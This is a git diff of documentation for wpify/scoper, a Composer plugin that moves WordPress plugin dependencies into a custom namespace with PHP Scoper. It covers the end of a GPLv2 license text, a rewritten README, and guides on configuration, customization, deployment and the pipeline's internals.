+copyright notice and disclaimer of warranty; keep intact all the +notices that refer to this License and to the absence of any warranty; +and give any other recipients of the Program a copy of this License +along with the Program. + +You may charge a fee for the physical act of transferring a copy, and +you may at your option offer warranty protection in exchange for a fee. + + 2. You may modify your copy or copies of the Program or any portion +of it, thus forming a work based on the Program, and copy and +distribute such modifications or work under the terms of Section 1 +above, provided that you also meet all of these conditions: + + a) You must cause the modified files to carry prominent notices + stating that you changed the files and the date of any change. + + b) You must cause any work that you distribute or publish, that in + whole or in part contains or is derived from the Program or any + part thereof, to be licensed as a whole at no charge to all third + parties under the terms of this License. + + c) If the modified program normally reads commands interactively + when run, you must cause it, when started running for such + interactive use in the most ordinary way, to print or display an + announcement including an appropriate copyright notice and a + notice that there is no warranty (or else, saying that you provide + a warranty) and that users may redistribute the program under + these conditions, and telling the user how to view a copy of this + License. (Exception: if the Program itself is interactive but + does not normally print such an announcement, your work based on + the Program is not required to print an announcement.) + +These requirements apply to the modified work as a whole. If +identifiable sections of that work are not derived from the Program, +and can be reasonably considered independent and separate works in +themselves, then this License, and its terms, do not apply to those +sections when you distribute them as separate works. But when you +distribute the same sections as part of a whole which is a work based +on the Program, the distribution of the whole must be on the terms of +this License, whose permissions for other licensees extend to the +entire whole, and thus to each and every part regardless of who wrote it. + +Thus, it is not the intent of this section to claim rights or contest +your rights to work written entirely by you; rather, the intent is to +exercise the right to control the distribution of derivative or +collective works based on the Program. + +In addition, mere aggregation of another work not based on the Program +with the Program (or with a work based on the Program) on a volume of +a storage or distribution medium does not bring the other work under +the scope of this License. + + 3. You may copy and distribute the Program (or a work based on it, +under Section 2) in object code or executable form under the terms of +Sections 1 and 2 above provided that you also do one of the following: + + a) Accompany it with the complete corresponding machine-readable + source code, which must be distributed under the terms of Sections + 1 and 2 above on a medium customarily used for software interchange; or, + + b) Accompany it with a written offer, valid for at least three + years, to give any third party, for a charge no more than your + cost of physically performing source distribution, a complete + machine-readable copy of the corresponding source code, to be + distributed under the terms of Sections 1 and 2 above on a medium + customarily used for software interchange; or, + + c) Accompany it with the information you received as to the offer + to distribute corresponding source code. (This alternative is + allowed only for noncommercial distribution and only if you + received the program in object code or executable form with such + an offer, in accord with Subsection b above.) + +The source code for a work means the preferred form of the work for +making modifications to it. For an executable work, complete source +code means all the source code for all modules it contains, plus any +associated interface definition files, plus the scripts used to +control compilation and installation of the executable. However, as a +special exception, the source code distributed need not include +anything that is normally distributed (in either source or binary +form) with the major components (compiler, kernel, and so on) of the +operating system on which the executable runs, unless that component +itself accompanies the executable. + +If distribution of executable or object code is made by offering +access to copy from a designated place, then offering equivalent +access to copy the source code from the same place counts as +distribution of the source code, even though third parties are not +compelled to copy the source along with the object code. + + 4. You may not copy, modify, sublicense, or distribute the Program +except as expressly provided under this License. Any attempt +otherwise to copy, modify, sublicense or distribute the Program is +void, and will automatically terminate your rights under this License. +However, parties who have received copies, or rights, from you under +this License will not have their licenses terminated so long as such +parties remain in full compliance. + + 5. You are not required to accept this License, since you have not +signed it. However, nothing else grants you permission to modify or +distribute the Program or its derivative works. These actions are +prohibited by law if you do not accept this License. Therefore, by +modifying or distributing the Program (or any work based on the +Program), you indicate your acceptance of this License to do so, and +all its terms and conditions for copying, distributing or modifying +the Program or works based on it. + + 6. Each time you redistribute the Program (or any work based on the +Program), the recipient automatically receives a license from the +original licensor to copy, distribute or modify the Program subject to +these terms and conditions. You may not impose any further +restrictions on the recipients' exercise of the rights granted herein. +You are not responsible for enforcing compliance by third parties to +this License. + + 7. If, as a consequence of a court judgment or allegation of patent +infringement or for any other reason (not limited to patent issues), +conditions are imposed on you (whether by court order, agreement or +otherwise) that contradict the conditions of this License, they do not +excuse you from the conditions of this License. If you cannot +distribute so as to satisfy simultaneously your obligations under this +License and any other pertinent obligations, then as a consequence you +may not distribute the Program at all. For example, if a patent +license would not permit royalty-free redistribution of the Program by +all those who receive copies directly or indirectly through you, then +the only way you could satisfy both it and this License would be to +refrain entirely from distribution of the Program. + +If any portion of this section is held invalid or unenforceable under +any particular circumstance, the balance of the section is intended to +apply and the section as a whole is intended to apply in other +circumstances. + +It is not the purpose of this section to induce you to infringe any +patents or other property right claims or to contest validity of any +such claims; this section has the sole purpose of protecting the +integrity of the free software distribution system, which is +implemented by public license practices. Many people have made +generous contributions to the wide range of software distributed +through that system in reliance on consistent application of that +system; it is up to the author/donor to decide if he or she is willing +to distribute software through any other system and a licensee cannot +impose that choice. + +This section is intended to make thoroughly clear what is believed to +be a consequence of the rest of this License. + + 8. If the distribution and/or use of the Program is restricted in +certain countries either by patents or by copyrighted interfaces, the +original copyright holder who places the Program under this License +may add an explicit geographical distribution limitation excluding +those countries, so that distribution is permitted only in or among +countries not thus excluded. In such case, this License incorporates +the limitation as if written in the body of this License. + + 9. The Free Software Foundation may publish revised and/or new versions +of the General Public License from time to time. Such new versions will +be similar in spirit to the present version, but may differ in detail to +address new problems or concerns. + +Each version is given a distinguishing version number. If the Program +specifies a version number of this License which applies to it and "any +later version", you have the option of following the terms and conditions +either of that version or of any later version published by the Free +Software Foundation. If the Program does not specify a version number of +this License, you may choose any version ever published by the Free Software +Foundation. + + 10. If you wish to incorporate parts of the Program into other free +programs whose distribution conditions are different, write to the author +to ask for permission. For software which is copyrighted by the Free +Software Foundation, write to the Free Software Foundation; we sometimes +make exceptions for this. Our decision will be guided by the two goals +of preserving the free status of all derivatives of our free software and +of promoting the sharing and reuse of software generally. + + NO WARRANTY + + 11. BECAUSE THE PROGRAM IS LICENSED FREE OF CHARGE, THERE IS NO WARRANTY +FOR THE PROGRAM, TO THE EXTENT PERMITTED BY APPLICABLE LAW. EXCEPT WHEN +OTHERWISE STATED IN WRITING THE COPYRIGHT HOLDERS AND/OR OTHER PARTIES +PROVIDE THE PROGRAM "AS IS" WITHOUT WARRANTY OF ANY KIND, EITHER EXPRESSED +OR IMPLIED, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF +MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE. THE ENTIRE RISK AS +TO THE QUALITY AND PERFORMANCE OF THE PROGRAM IS WITH YOU. SHOULD THE +PROGRAM PROVE DEFECTIVE, YOU ASSUME THE COST OF ALL NECESSARY SERVICING, +REPAIR OR CORRECTION. + + 12. IN NO EVENT UNLESS REQUIRED BY APPLICABLE LAW OR AGREED TO IN WRITING +WILL ANY COPYRIGHT HOLDER, OR ANY OTHER PARTY WHO MAY MODIFY AND/OR +REDISTRIBUTE THE PROGRAM AS PERMITTED ABOVE, BE LIABLE TO YOU FOR DAMAGES, +INCLUDING ANY GENERAL, SPECIAL, INCIDENTAL OR CONSEQUENTIAL DAMAGES ARISING +OUT OF THE USE OR INABILITY TO USE THE PROGRAM (INCLUDING BUT NOT LIMITED +TO LOSS OF DATA OR DATA BEING RENDERED INACCURATE OR LOSSES SUSTAINED BY +YOU OR THIRD PARTIES OR A FAILURE OF THE PROGRAM TO OPERATE WITH ANY OTHER +PROGRAMS), EVEN IF SUCH HOLDER OR OTHER PARTY HAS BEEN ADVISED OF THE +POSSIBILITY OF SUCH DAMAGES. + + END OF TERMS AND CONDITIONS + + How to Apply These Terms to Your New Programs + + If you develop a new program, and you want it to be of the greatest +possible use to the public, the best way to achieve this is to make it +free software which everyone can redistribute and change under these terms. + + To do so, attach the following notices to the program. It is safest +to attach them to the start of each source file to most effectively +convey the exclusion of warranty; and each file should have at least +the "copyright" line and a pointer to where the full notice is found. + + + Copyright (C) + + This program is free software; you can redistribute it and/or modify + it under the terms of the GNU General Public License as published by + the Free Software Foundation; either version 2 of the License, or + (at your option) any later version. + + This program is distributed in the hope that it will be useful, + but WITHOUT ANY WARRANTY; without even the implied warranty of + MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the + GNU General Public License for more details. + + You should have received a copy of the GNU General Public License along + with this program; if not, write to the Free Software Foundation, Inc., + 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA. + +Also add information on how to contact you by electronic and paper mail. + +If the program is interactive, make it output a short notice like this +when it starts in an interactive mode: + + Gnomovision version 69, Copyright (C) year name of author + Gnomovision comes with ABSOLUTELY NO WARRANTY; for details type `show w'. + This is free software, and you are welcome to redistribute it + under certain conditions; type `show c' for details. + +The hypothetical commands `show w' and `show c' should show the appropriate +parts of the General Public License. Of course, the commands you use may +be called something other than `show w' and `show c'; they could even be +mouse-clicks or menu items--whatever suits your program. + +You should also get your employer (if you work as a programmer) or your +school, if any, to sign a "copyright disclaimer" for the program, if +necessary. Here is a sample; alter the names: + + Yoyodyne, Inc., hereby disclaims all copyright interest in the program + `Gnomovision' (which makes passes at compilers) written by James Hacker. + + , 1 April 1989 + Ty Coon, President of Vice + +This General Public License does not permit incorporating your program into +proprietary programs. If your program is a subroutine library, you may +consider it more useful to permit linking proprietary applications with the +library. If this is what you want to do, use the GNU Lesser General +Public License instead of this License. + diff --git a/README.md b/README.md index b6168cc..db45d90 100644 --- a/README.md +++ b/README.md @@ -1,256 +1,116 @@ -# WPify Scoper - A scoper for WordPress plugins and themes +# wpify/scoper -Using Composer in your WordPress plugin or theme can benefit from that. But it also comes with a danger of conflicts -with dependencies of other plugins or themes. Luckily, a great tool -called [PHP Scoper](https://github.com/humbug/php-scoper) adds all your needed dependencies to your namespace to prevent -conflicts. Unfortunately, the configuration is non-trivial, and for that reason, we created the Composer plugin to make -scoping easy in WordPress projects. +[![CI](https://github.com/wpify/scoper/actions/workflows/ci.yml/badge.svg)](https://github.com/wpify/scoper/actions/workflows/ci.yml) +[![Packagist](https://img.shields.io/packagist/v/wpify/scoper.svg)](https://packagist.org/packages/wpify/scoper) +[![Downloads](https://img.shields.io/packagist/dt/wpify/scoper.svg)](https://packagist.org/packages/wpify/scoper) +[![PHP](https://img.shields.io/packagist/dependency-v/wpify/scoper/php.svg)](https://packagist.org/packages/wpify/scoper) +[![License](https://img.shields.io/packagist/l/wpify/scoper.svg)](LICENSE) -The main issue with PHP Scoper is that it also scopes global functions, constants and classes. Usually, that is what you -want, but that also means that WordPress functions, classes and constants will be scoped. This Composer plugin solves -that. It has an up-to-date database of all WordPress and WooCommerce symbols that we want to keep unscoped. +A Composer plugin that moves your dependencies into a namespace of your own, so that your +WordPress plugin or theme cannot collide with anybody else's. + +## The problem + +WordPress loads every active plugin into one PHP process, and PHP has one global namespace. Your +plugin requires `guzzlehttp/guzzle` 7. Another plugin on the same site bundles Guzzle 6. Whichever +autoloader registers first wins, the other plugin gets a class it does not recognise, and something +fatals — on a site you do not control and cannot test against. + +[PHP Scoper](https://github.com/humbug/php-scoper) solves this by rewriting your dependencies under +a prefix that nobody else will use. But it prefixes *everything* it can see, WordPress's own +functions and classes included, so a scoped plugin ends up calling +`MyPlugin\Deps\add_action()` — which does not exist. + +This plugin is PHP Scoper wired up correctly for WordPress. It ships a generated database of every +symbol declared by WordPress, WooCommerce, Action Scheduler and WP-CLI, and keeps those unprefixed +while everything else moves into your namespace. ## Requirements -**PHP 8.2 or newer.** See [CHANGELOG.md](CHANGELOG.md) for per-release notes. +**PHP 8.2 or newer**, and Composer 2.6 or newer. -Older lines, which are no longer maintained: `3.2.x` required PHP 8.1 (in practice 8.2 — its -declared constraint could not be satisfied), and `3.1.x` required PHP 7.4 or 8.0. +## Quickstart -## Usage +Install the plugin globally, pinned to a major version: -1. This composer plugin is meant to be installed globally, but you can also require it as a dev dependency. -2. The configuration requires creating `composer-deps.json` file, that has exactly same structure like `composer.json` - file, but serves only for scoped dependencies. Dependencies that you don't want to scope comes to `composer.json`. -3. Add `extra.wpify-scoper.prefix` to you `composer.json`, where you can specify the namespace, where your dependencies - will be in. All other config options (`folder`, `globals`, `composerjson`, `composerlock`, `temp`, `autorun`) are - optional. -4. The easiest way how to use the scoper on development environment is to install WPify Scoper as a dev dependency. - After each `composer install` or `composer update`, all the dependencies specified in `composer-deps.json` will be - scoped for you. -5. Add a `config.platform` option in your composer.json and composer-deps.json. This settings will make sure that the - dependencies will be installed with the correct PHP version. +```bash +composer global config --no-plugins allow-plugins.wpify/scoper true +composer global require wpify/scoper:^4.0 +``` -**Example of `composer.json` with its default values** +In your plugin, declare the dependencies you want scoped in `composer-deps.json` — same format as +`composer.json`, but it holds *only* the dependencies that get prefixed: ```json { + "require": { + "guzzlehttp/guzzle": "^7.0" + }, "config": { "platform": { "php": "8.2.0" - }, + } + } +} +``` + +Then tell the plugin what namespace to use, in your ordinary `composer.json`: + +```json +{ + "config": { "allow-plugins": { "wpify/scoper": true } }, "extra": { "wpify-scoper": { - "prefix": "MyNamespaceForDeps", - "folder": "deps", - "globals": [ - "wordpress", - "woocommerce", - "action-scheduler", - "wp-cli" - ], - "composerjson": "composer-deps.json", - "composerlock": "composer-deps.lock", - "autorun": true + "prefix": "MyPlugin\\Deps" } } } ``` -`config.platform.php` should match the PHP version your site actually runs, and it must be one this -package supports (8.2 or newer). Setting it lower than your production PHP is how you end up with a -scoped tree that fatals on the server. - -### Configuration reference - -| Key | Default | What it does | -|---|---|---| -| `prefix` | *required* | The namespace your dependencies are moved into. Must be a valid PHP namespace: identifiers separated by `\\`, no leading or trailing separator. A missing or malformed prefix is now a hard error. | -| `folder` | `deps` | Where the scoped tree is written, relative to the project root (absolute paths are allowed). | -| `globals` | all four | Which shipped symbol lists to keep unscoped: `wordpress`, `woocommerce`, `action-scheduler`, `wp-cli`. An unknown name produces a warning and is ignored. | -| `composerjson` | `composer-deps.json` | The manifest describing the dependencies to scope. Only ever read, never written. | -| `composerlock` | `composerjson` with `.lock` | The lock file for that manifest. Written by the plugin — commit it. | -| `temp` | `tmp-` + random | The scratch workspace. Removed when the run succeeds; kept when it fails, because a failed swap parks your previous `deps/` in there. | -| `autorun` | `true` | Whether `composer install`/`composer update` also scope. Only a literal `false` turns it off. | - -### Running it manually +Run Composer: ```bash -composer wpify-scoper install # install the locked scoped dependency set -composer wpify-scoper update # re-resolve it and rewrite composer-deps.lock -composer wpify-scoper install --no-dev +composer install ``` -`--no-dev` skips the `require-dev` block of your `composer-deps.json`, which is what you want for a -release build. When scoping runs automatically from `composer install`/`composer update`, it -inherits the dev mode of that command, so `composer install --no-dev` also scopes without dev -dependencies. - -Set `"autorun": false` if you only ever want to scope on demand. - -> The `wpify-scoper` binary (`vendor/bin/wpify-scoper install`) still works but is deprecated and -> prints a notice. Use the Composer command. - -6. Scoped dependencies will be in `deps` folder of your project. You must include the scoped autoload alongside with the - composer autoloader. - -7. After that, you can use your dependencies with the namespace. - -**Example PHP file:** +The scoped tree is written to `deps/`. Load its autoloader alongside Composer's own: ```php ` inside it, and deleting the workspace +on error would destroy the tree the error message tells you how to recover. + +Add `tmp-*` to `.gitignore`. + +### `autorun` + +**Default: `true`** + +Whether `composer install` and `composer update` also scope. + +Only a literal `false` turns it off. Any other value — `0`, `"false"`, `null` — leaves it on. + +```json +"autorun": false +``` + +With `autorun` off, scoping happens only when you run [`composer wpify-scoper`](#commands) +explicitly. When it is on, the scoped run inherits the dev mode of the command that triggered it, +so `composer install --no-dev` scopes without the dev dependencies of your scoped manifest. + +## The scoped manifest + +`composer-deps.json` is an ordinary Composer manifest. Everything you declare in it is passed +through to the nested install untouched — `require`, `require-dev`, `repositories`, `scripts`, +`config`, all of it. Two notes: + +- **Set `config.platform.php`** to the PHP version your site runs. The nested install resolves + against it, and a value lower than production produces a scoped tree that fatals on the server. +- **Do not add `extra.wpify-scoper`.** It is stripped before the nested install runs, because a + nested root package that configures the scoper would recurse. + +## Commands + +```bash +composer wpify-scoper install # install the locked scoped dependency set +composer wpify-scoper update # re-resolve it and rewrite composer-deps.lock +composer wpify-scoper install --no-dev +``` + +The mapping is the one you already know from Composer: `install` honours `composer-deps.lock`, +`update` ignores it and writes a new one. + +`--no-dev` skips the `require-dev` block of your **scoped** manifest. That is what you want for a +release build. + +### The deprecated binary + +```bash +vendor/bin/wpify-scoper install +``` + +Still works, prints a deprecation notice on every run, and will be removed. It needs `composer` on +`PATH` (or [`COMPOSER_BINARY`](#environment-variables) set) where the Composer command does not. +Use `composer wpify-scoper` instead. + +## Environment variables + +| Variable | Read by | Meaning | +|---|---|---| +| `COMPOSER_BINARY` | the scoper | Path to the Composer executable used for the nested install. Set by Composer itself; only worth setting by hand when driving the deprecated binary from a pipeline that has no `composer` on `PATH`. | +| `COMPOSER` | Composer | Names the manifest Composer reads. **Cleared for the duration of a run** and restored afterwards, because the nested Composer would otherwise look for your `composer-deps.json` inside the temporary workspace. | +| `COMPOSER_VENDOR_DIR` | Composer | Names the directory Composer installs into. Also **cleared for the duration of a run** — php-scoper's finder only ever looks at the workspace's own `vendor/`. | +| `WPIFY_SCOPER_RUNNING` | the scoper | Set to `1` while a run is in progress. It is how the nested Composer — which loads the globally installed copy of this plugin — knows not to start a run of its own. Do not set it yourself. | + +Exporting `COMPOSER` or `COMPOSER_VENDOR_DIR` in your shell used to break scoping for that one +developer and nobody else. It no longer does. + +## Verbose output + +```bash +composer install -v # resolved configuration, and every process the scoper spawns +composer install -vvv # the above, plus the nested Composer's own debug output +``` + +`-v` prints the configuration the plugin actually resolved: + +``` +wpify-scoper: prefix "MyPlugin\Deps", folder "/srv/my-plugin/deps", +/srv/my-plugin/composer-deps.json / /srv/my-plugin/composer-deps.lock, temp "/srv/my-plugin/tmp-a1b2c3d4e5" +``` + +and which customization file was picked up, or that none was found. It is the first thing to run +when the scoper is not doing what you expect. diff --git a/docs/customizing.md b/docs/customizing.md new file mode 100644 index 0000000..7117d29 --- /dev/null +++ b/docs/customizing.md @@ -0,0 +1,145 @@ +# Customizing php-scoper + +Some libraries cannot be scoped by static analysis alone. They build class names by concatenating +strings, they write PHP at runtime, they pass function names around as strings. php-scoper cannot +see any of that, so it leaves those names unprefixed and the scoped copy breaks. + +The fix is a **patcher**: a callback that rewrites the source of a file after php-scoper has +processed it. This page is about adding your own. + +You should not need this for a well-behaved library. Reach for it when something specific is broken +after scoping, not preemptively. + +## `scoper.custom.php` + +Create `scoper.custom.php` in your project root — the directory holding the `composer.json` Composer +resolved for the run. It must define one function: + +```php + Releases before 4.0 located the project root by looking for the literal string +> `vendor/wpify/scoper` in the plugin's own path, which silently ignored your file whenever +> `vendor-dir` was renamed, the plugin was symlinked in through a path repository, or it was +> installed globally. If your customizations never seemed to apply, that is why. + +## Gotchas + +**`__DIR__` is not your project.** The file is copied into the `tmp-*` workspace and executed from +there, so `__DIR__` and `getcwd()` point at the workspace. Do not build paths from them. If you +need a path in your project, hard-code it or derive it from `$filePath`. + +**The file is not autoloaded.** It is `require_once`d, and only `customize_php_scoper_config` is +called. Anything else in it runs at include time, once, inside the php-scoper phar's process — a +process whose autoloader knows nothing about your project. + +**Debugging.** `-vvv` shows the nested processes. To see what your patcher actually received, write +to a file with an absolute path; standard output from inside php-scoper is not reliably visible. + +## Further reading + +- [php-scoper configuration reference](https://github.com/humbug/php-scoper/blob/main/docs/configuration.md) +- [How it works](how-it-works.md) — where in the pipeline this file is loaded diff --git a/docs/deployment.md b/docs/deployment.md new file mode 100644 index 0000000..a415fdf --- /dev/null +++ b/docs/deployment.md @@ -0,0 +1,201 @@ +# Deployment + +How to get a scoped tree onto a server, and what to put in git. + +- [What to commit](#what-to-commit) +- [GitLab CI](#gitlab-ci) +- [GitHub Actions](#github-actions) +- [Deploying by git push](#deploying-by-git-push) +- [Bedrock](#bedrock) +- [Scoping into a subdirectory of `vendor/`](#scoping-into-a-subdirectory-of-vendor) +- [Repositories with several plugins](#repositories-with-several-plugins) + +## What to commit + +| Path | Commit it? | Why | +|---|---|---| +| `composer-deps.json` | **Yes** | It is your source of truth for the scoped dependency set. | +| `composer-deps.lock` | **Yes** | It is what makes `composer wpify-scoper install` reproducible. Without it every machine resolves independently. | +| `deps/` | Your call — see below | A build artifact. | +| `tmp-*` | **Never** | Scratch workspace. Add `tmp-*` to `.gitignore`. | + +### Should `deps/` be in git? + +**Build it in CI and ignore it** if you deploy an artifact — a zip, a container image, an rsync of a +built directory. This is the default recommendation. The tree is large, it changes wholesale on +every scoper upgrade, and reviewing its diff is not a thing anyone does. + +```gitignore +/vendor/ +/deps/ +/tmp-* +``` + +**Commit it** if you deploy by pushing a git checkout to a server where you cannot run Composer — +shared hosting, a managed WordPress host with no shell. See +[Deploying by git push](#deploying-by-git-push). + +There is no third option where the server builds it on demand. Scoping spawns Composer and +php-scoper and takes real time; it is a build step, not a runtime one. + +## GitLab CI + +```yaml +composer: + stage: .pre + image: composer:2 + artifacts: + paths: + - $CI_PROJECT_DIR/deps + - $CI_PROJECT_DIR/vendor + expire_in: 1 week + script: + - PATH=$(composer global config bin-dir --absolute --quiet):$PATH + - composer global config --no-plugins allow-plugins.wpify/scoper true + - composer global require wpify/scoper:^4.0 + - composer install --prefer-dist --optimize-autoloader --no-ansi --no-interaction --no-dev +``` + +`--no-dev` propagates: the scoped run inherits the dev mode of the command that triggered it, so +this also scopes without the `require-dev` block of your `composer-deps.json`. + +Pin the constraint (`:^4.0`). An unpinned `composer global require` means your pipeline silently +changes what it produces the day a new major lands. + +## GitHub Actions + +```yaml +name: Build + +on: + push: + workflow_dispatch: + +jobs: + build: + runs-on: ubuntu-latest + + steps: + - uses: actions/checkout@v5 + + - uses: shivammathur/setup-php@v2 + with: + php-version: '8.2' + coverage: none + tools: composer:v2 + + - name: Cache Composer downloads + uses: actions/cache@v4 + with: + path: ~/.cache/composer + key: ${{ runner.os }}-${{ hashFiles('**/composer.lock', '**/composer-deps.lock') }} + + - run: composer global config --no-plugins allow-plugins.wpify/scoper true + - run: composer global require wpify/scoper:^4.0 + + - run: composer install --no-dev --optimize-autoloader + + - name: Archive the build + uses: actions/upload-artifact@v4 + with: + name: plugin + path: | + deps/ + vendor/ +``` + +Set `php-version` to the version your **site** runs, and make it agree with `config.platform.php` +in both manifests. A pipeline on 8.4 resolving for a site on 8.2 produces a tree that fatals in +production. + +## Deploying by git push + +If the server cannot run Composer, `deps/` and `vendor/` both have to be in the repository. + +```gitignore +/tmp-* +``` + +Then the rule that matters: **build, then commit, then push.** Never push a source change and +re-scope afterwards — between those two moments the site is running your new code against the old +dependency tree. + +Because the scoped output depends on a scoper version that no lock file records, decide *one* +machine or pipeline that is allowed to regenerate `deps/`, and pin its scoper constraint. Two +developers committing `deps/` from different scoper versions produce a diff of the entire tree and +a merge nobody can resolve. + +## Bedrock + +[Bedrock](https://roots.io/bedrock/) puts WordPress under `web/wp` and plugins under +`web/app/plugins`. Two layouts work. + +**Scoping a single plugin in its own repository** — nothing special, use the defaults. + +**Scoping at the Bedrock project root**, for dependencies shared by the site's own mu-plugin code: + +```json +{ + "extra": { + "wpify-scoper": { + "prefix": "MySite\\Deps", + "folder": "web/app/deps" + } + } +} +``` + +`folder` is relative to the directory holding the `composer.json` Composer resolved, which is the +Bedrock root. Load it the same way as anywhere else: + +```php +require_once dirname( __DIR__ ) . '/deps/scoper-autoload.php'; +``` + +Bedrock's own `.gitignore` already covers `web/app/plugins/` and `vendor/`. Add `deps/` +(or `web/app/deps/`) and `tmp-*` yourself. + +## Scoping into a subdirectory of `vendor/` + +```json +"folder": "vendor/my-plugin-deps" +``` + +This keeps one dependency directory in the project instead of two, which some deployment scripts +prefer. It works, with two caveats: + +- The directory is **replaced wholesale** on every run. It must be a path Composer itself never + installs into — a package name, not a bare `vendor/`. +- Anything that archives `vendor/` also archives the scoped tree. That is usually what you want; + make sure it is not counted twice. + +The backup taken during the swap deliberately lives inside the `tmp-*` workspace rather than +next to `folder`, precisely so that a `vendor/`-adjacent `.bak` cannot end up in a release build. + +## Repositories with several plugins + +Each plugin scopes independently. There is no shared or monorepo mode, and you do not want one: +two plugins that share a prefix share the collision they were scoped to avoid. + +``` +repo/ + plugin-a/ + composer.json extra.wpify-scoper.prefix = PluginA\Deps + composer-deps.json + deps/ + plugin-b/ + composer.json extra.wpify-scoper.prefix = PluginB\Deps + composer-deps.json + deps/ +``` + +Run Composer once per plugin — `composer install --working-dir=plugin-a`, and so on. `folder`, +`composerjson` and `composerlock` all resolve relative to the `composer.json` Composer resolved for +that run, so `--working-dir` behaves the way you would expect. + +Give every plugin its own prefix. Sharing one across plugins in the same repository puts two copies +of the same library back in the same namespace at runtime, which is the original problem with extra +steps. + +Git submodules are fine, and so are Composer `path` repositories — `deps/` being a symlink is +handled: the swap never follows links when it removes a tree. diff --git a/docs/getting-started.md b/docs/getting-started.md new file mode 100644 index 0000000..4fe8e17 --- /dev/null +++ b/docs/getting-started.md @@ -0,0 +1,192 @@ +# Getting started + +By the end of this page you will have a WordPress plugin whose copy of Guzzle lives in a namespace +no other plugin can reach, and you will have verified that on disk rather than taken it on trust. + +Guzzle is the example because it is the collision people actually hit. It is bundled by a large +number of WordPress plugins, its major versions are not source-compatible, and only one copy can +own the `GuzzleHttp\Client` name in a running site. + +You need **PHP 8.2 or newer** and **Composer 2.6 or newer**. + +## 1. Install the scoper + +The scoper is a Composer plugin. Install it globally, pinned to a major version: + +```bash +composer global config --no-plugins allow-plugins.wpify/scoper true +composer global require wpify/scoper:^4.0 +``` + +Composer refuses to run plugins it has not been told to trust, and it does so *silently* — the +`allow-plugins` line above is not optional, and skipping it produces a `composer install` that +appears to succeed and scopes nothing. + +> **Pin the same constraint everywhere.** The scoper version that produced your scoped tree is not +> recorded in any lock file. A laptop on 3.2 and a CI runner on 4.0 can emit different bytes from +> identical sources. Use the same constraint on every machine and in CI, and re-scope after you +> upgrade the scoper. If you would rather have it pinned in `composer.lock` like everything else, +> install it as a dev dependency instead — see [Configuration](configuration.md#installing-as-a-dev-dependency). + +## 2. Create the plugin + +```bash +mkdir my-plugin && cd my-plugin +``` + +## 3. Declare the dependencies to scope + +Scoped dependencies do not go in `composer.json`. They go in a second manifest, `composer-deps.json`, +which has exactly the same format: + +```json +{ + "require": { + "guzzlehttp/guzzle": "^7.0" + }, + "config": { + "platform": { + "php": "8.2.0" + } + } +} +``` + +The split is the whole idea. `composer-deps.json` holds what gets prefixed; `composer.json` holds +everything else — your dev tooling, your test framework, anything that never runs inside a +WordPress request alongside another plugin. + +`config.platform.php` should match the PHP version your **site** runs, not the one your laptop +runs. Composer resolves against it, so setting it lower than production is how you end up with a +scoped tree that fatals on the server. + +## 4. Configure the prefix + +In `composer.json`: + +```json +{ + "config": { + "allow-plugins": { + "wpify/scoper": true + }, + "platform": { + "php": "8.2.0" + } + }, + "extra": { + "wpify-scoper": { + "prefix": "MyPlugin\\Deps" + } + } +} +``` + +`prefix` is the only required setting. It must be a valid PHP namespace — identifiers separated by +backslashes, no leading or trailing separator, and remember that JSON needs each backslash doubled. +Everything else has a default; see [Configuration](configuration.md). + +Pick something nobody else will: your plugin's own vendor namespace with `\Deps` on the end is a +good default. `Deps` on its own is not — two plugins that both chose it collide exactly the way +this tool exists to prevent. + +## 5. Run it + +```bash +composer install +``` + +You will see the scoper announce itself: + +``` +wpify-scoper: running composer install for /path/to/my-plugin/composer-deps.json, +scoping it with the prefix MyPlugin\Deps into /path/to/my-plugin/deps +``` + +Behind that line it resolves `composer-deps.json` in a temporary workspace, rewrites the result +with php-scoper, and moves the finished tree into `deps/`. If nothing at all is printed and no +`deps/` folder appears, the plugin is not allowed to run — go back to step 1. + +## 6. Check the result + +Three things should now exist: + +```bash +ls deps/ +``` + +``` +autoload.php composer/ guzzlehttp/ psr/ scoper-autoload.php +``` + +Confirm the prefix actually landed: + +```bash +grep -r "namespace MyPlugin" deps/guzzlehttp/guzzle/src/Client.php +``` + +```php +namespace MyPlugin\Deps\GuzzleHttp; +``` + +And confirm WordPress was left alone. There is no WordPress in this example yet, but the rule is +worth seeing now: any call to `add_action()`, `WP_Query`, `wp_remote_get()` and the thousands of +other names WordPress declares stays exactly as written. Only your dependencies move. + +Two files were also written next to your manifest: + +- `composer-deps.lock` — the lock file for the scoped set. **Commit it.** It is what makes + `composer install` reproducible for everyone else on the project. +- a `tmp-*` directory, if the run failed. A successful run removes its workspace. See + [Troubleshooting](troubleshooting.md). + +## 7. Load it from your plugin + +Create `my-plugin.php`: + +```php +` **inside the workspace**. +2. Move the scoped tree into `deps/`. +3. If step 2 fails, move the backup back. +4. Delete the backup. + +Before 4.0 the old tree was deleted before the new one was in place, so a full disk or a +permissions error mid-swap left a project with no dependencies at all. + +Two details: + +- **The backup lives in the workspace**, not next to `deps/`. `folder` is often a path inside + `vendor/`, where a sibling `.bak` would be swept up by release builds and CI artifacts. +- **Symlinks are never followed.** `is_dir()` and `is_file()` both return true for a symlink to + one, so a recursive delete that checks them deletes the link's *target*. A project whose `deps/` + was a symlink had the target destroyed. Every tree walk now checks `is_link()` first. + +When `rename()` cannot do the move — different filesystems report `EXDEV`, Windows fails on locked +files — it falls back to copy, verify every entry by type and size, then delete. + +## Design decisions worth knowing + +**Configuration errors are raised when the pipeline runs, not when the plugin activates.** Composer +does not guard plugin activation, so an exception thrown there aborts *every* command in the +project — including the `composer config` you would use to fix the configuration. The error is +carried until it is actionable. + +**A project without `extra.wpify-scoper` is a complete no-op.** The plugin is usually installed +globally, which activates it for every Composer project on the machine, including `COMPOSER_HOME` +itself and the nested install this pipeline spawns. + +**Re-entrancy is guarded by an environment variable, not a static flag.** The nested install is a +separate process, and it loads the same globally installed plugin. A static would not survive the +process boundary. + +**`composer-deps.json` is only ever read.** It used to be rewritten on every run with a `scripts` +block full of absolute host paths, which clobbered anything you had put there. + +**The generated symbol lists are validated on load,** not trusted. They are generated files; a +generator that broke halfway would otherwise hand php-scoper a config it fails on far downstream, +with an error pointing at neither. + +## See also + +- [Configuration](configuration.md) — the settings this pipeline reads +- [Customizing php-scoper](customizing.md) — hooking into step 4 +- [CONTRIBUTING.md](../CONTRIBUTING.md) — regenerating the symbol lists, and the test tiers that + cover all of the above diff --git a/docs/improvements/01-composer-plugin-api.md 